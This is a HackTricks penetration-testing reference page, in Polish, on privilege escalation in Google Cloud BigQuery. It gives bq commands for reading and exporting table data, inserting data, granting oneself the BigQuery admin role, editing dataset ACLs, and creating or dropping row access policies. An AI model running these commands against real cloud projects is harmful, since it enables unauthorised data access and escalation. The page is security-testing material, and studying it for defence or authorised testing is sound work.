GCP - BigQuery Privesc

Support HackTricks

BigQuery

Aby uzyskać więcej informacji na temat BigQuery, sprawdź:

GCP - Bigquery Enum

Read Table

Odczytując informacje przechowywane w tabeli BigQuery, może być możliwe znalezienie sensywnych informacji. Aby uzyskać dostęp do informacji, potrzebne są uprawnienia bigquery.tables.get, bigquery.jobs.create i bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Eksportuj dane

To jest inny sposób na dostęp do danych. Eksportuj je do koszyka pamięci w chmurze i pobierz pliki z informacjami. Aby wykonać tę akcję, potrzebne są następujące uprawnienia: bigquery.tables.export, bigquery.jobs.create i storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Wstawianie danych

Możliwe jest wprowadzenie pewnych zaufanych danych do tabeli Bigquery, aby wykorzystać lukę w innym miejscu. Można to łatwo zrobić za pomocą uprawnień bigquery.tables.get, bigquery.tables.updateData i bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Napastnik mógłby nadużyć tego uprawnienia, aby przyznać sobie dodatkowe uprawnienia do zestawu danych BigQuery:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Tylko to uprawnienie pozwala na aktualizację dostępu do zestawu danych BigQuery poprzez modyfikację ACL, które wskazują, kto może uzyskać do niego dostęp:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

Napastnik mógłby nadużyć tego uprawnienia, aby przyznać sobie dodatkowe uprawnienia do tabeli BigQuery:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Zgodnie z dokumentacją, z wymienionymi uprawnieniami możliwe jest aktualizowanie polityki wiersza. Jednakże, używając cli bq potrzebujesz jeszcze kilku: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Możliwe jest znalezienie identyfikatora filtra w wynikach enumeracji polityk wierszy. Przykład:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

Jeśli masz bigquery.rowAccessPolicies.delete zamiast bigquery.rowAccessPolicies.update, możesz po prostu usunąć politykę:

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Inną potencjalną opcją obejścia polityk dostępu do wierszy byłoby po prostu zmienienie wartości ograniczonych danych. Jeśli możesz zobaczyć tylko wtedy, gdy term to Cfba, po prostu zmodyfikuj wszystkie rekordy tabeli, aby miały term = "Cfba". Jednak to jest zablokowane przez bigquery.

Wsparcie HackTricks

Last updated